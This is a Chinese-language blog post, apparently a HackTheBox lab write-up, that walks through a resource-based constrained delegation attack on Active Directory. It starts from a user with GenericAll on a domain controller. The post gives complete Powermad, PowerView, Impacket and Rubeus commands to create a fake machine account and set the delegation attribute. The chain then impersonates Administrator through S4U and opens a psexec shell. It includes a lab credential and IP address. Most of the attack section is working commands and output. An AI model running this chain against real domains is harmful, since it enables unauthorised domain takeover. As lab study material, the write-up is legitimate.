-->

基于资源的约束委派 (RBCD)

初始状态

  • 拥有一个普通域用户权限。

  • 该用户对目标机器 DC$ 拥有 GenericAll 权限。

图片

建立跳板

利用 ms-DS-MachineAccountQuota 创建了一个虚假的机器账户 FakeComputer$

# 1. 加载脚本
Import-Module .\Powermad.ps1

# 2. 创建一个名为 FakeComputer 的机器账户,并设置密码
New-MachineAccount -MachineAccount "FakeComputer" -Password "Password123!"

或者在 kali 远程创建:

$ addcomputer.py  'support.htb/support:Ironside47pleasure40Watchful' -dc-ip 10.129.230.181 -method SAMR -computer-name 'FakeComputer$' -computer-pass 'Password123!'

Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Successfully added machine account FakeComputer$ with password Password123!.

修改目标机器属性 (RBCD 设置)

获取攻击机(跳板机)的 SID:

# Attacker-Machine = 创建的虚假机器 FakeComputer
# Target-Machine = 目标机器
Get-DomainComputer -Identity "Attacker-Machine" | Select-Object -Property objectsid

objectsid
---------
S-1-5-21-1677581083-3380853377-188903654-6101

将该 SID 写入目标机器的委派属性。使用 PowerView 设置属性,允许 Attacker-Machine$ 代表用户访问 Target-Machine$


$SD = New-DomainObjectAccessControlEntry -PrincipalIdentity "Attacker-Machine" -AccessMask GenericAll
Set-DomainObject -Identity "Target-Machine" -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SD.OriginatingObjectType}

如果 PowerView 命令报错,可以使用更底层、更通用的方式。只要加载了 ActiveDirectory 模块,可以使用以下逻辑:

# 1. 获取攻击机(FakeComputer)的 SID
$Side = (Get-ADComputer -Identity "FakeComputer").SID

# 2. 创建一个安全描述符 (Security Descriptor)
$SD = New-Object System.Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($Side.Value))"

# 3. 将其转换为字节流
$SDBytes = New-Object byte[] $SD.BinaryLength
$SD.GetBinaryForm($SDBytes, 0)

# 4. 写入目标机器的 RBCD 属性
Set-ADComputer -Identity "Target-Machine" -Replace @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

获取 FakeComputer 的 TGT

为了执行后续的 S4U 协议转换,需要拿到我所控制的这台“跳板机”的身份凭证。

使用 Rubeus 获取当前机器账户的 TGT。如果在攻击机上拥有 SYSTEM 权限,可以直接运行:

Rubeus.exe tgtdeleg /nowrap

如果是新创建了一个机器账户,根本不需要 tgtdeleg。因为我们知道这个账户的密码,可以直接向域控请求它的 TGT。

Rubeus.exe asktgt /user:FakeComputer$ /password:Password123! /domain:support.htb /outfile:fake.kirbi /nowrap

会得到 FakeComputer$ 的 TGT Base64。

S4U2Self 与 S4U2Proxy 攻击

这是提权的核心:将利用 Attacker-Machine$ 的 TGT,假冒域管理员(Administrator)向 Target-Machine$ 请求服务票据。

Rubeus.exe s4u /user:Attacker-Machine$ /ticket:<Step2获取的Base64_TGT> /impersonateuser:Administrator /msdsspn:cifs/Target-Machine.domain.com /ptt /outfile:admin.kirbi

验证并利用

klist

应该能看到一个 Client: AdministratorServer: cifs/Target-Machine 的票据。

注意:如果域管理员被加入了 Protected Users 组,S4U2self 可能会失败。此时可以尝试模拟其他非受限的委派账户。

使用 impacket 的 ticketConverter.py 转换到 ccache 格式:

ticketConverter.py admin_cifs_dc.support.htb.kirbi ticket.ccache

把这个文件设置为 KRB5CCNAME 环境变量:

export KRB5CCNAME=ticket.ccache

使用 psexec.py 登录到目标机器:

psexec.py -k -no-pass support.htb/Administrator@dc.support.htb -dc-ip 10.129.230.181

番外

关于票据类型(SPN)的理解

在执行 Rubeus s4u 提权时,我们请求的票据就像是一张限时、限地的通行证:

申请的 SPN 能干什么 对应工具
cifs/A.domain.com 访问文件共享、C$、ADMIN $、远程管理。 psexec, smbexec, dir
ldap/A.domain.com 读取域数据库、执行 DCSYNC。 secretsdump, BloodHound
host/A.domain.com 几乎所有基础权限(通常包含 cifs 和远程管理)。 wmiexec, WinRM
http/A.domain.com 远程 PowerShell 管理。 Enter-PSSession, Evil-WinRM

为什么“委派”是唯一的出路?

你可能会问:既然我对目标有完全控制权(GenericAll),为什么不直接登录目标?

对象权限(ACL)与组权限(Membership)是两个完全不同的维度。简单来说:我们现在拥有的是对“计算机对象”的控制权,而不是对“域控制器”或“组对象”的修改权。

既然我们只能控制这台“机器”,无法直接改变自己的身份,那就只能诱导或强迫这台机器认为我们是管理员。

  • RBCD(基于资源的约束委派)的逻辑: 利用对机器的 GenericAll,修改了这台机器的“入场规则”(即 msDS-AllowedToActOnBehalfOfOtherIdentity 属性)。我们告诉这台机器:“从现在起,我控制的另一台机器可以代表任何人。”

  • 提权的本质: 这并没有改变我们在整个域里的地位,我们依然是一个普通用户。但是,当我们访问这台特定机器时,通过委派协议变成了该机器上的 NT AUTHORITY\SYSTEMAdministrator

posted @ 2026-01-14 23:34  Merakii  阅读(0)  评论(0)    收藏  举报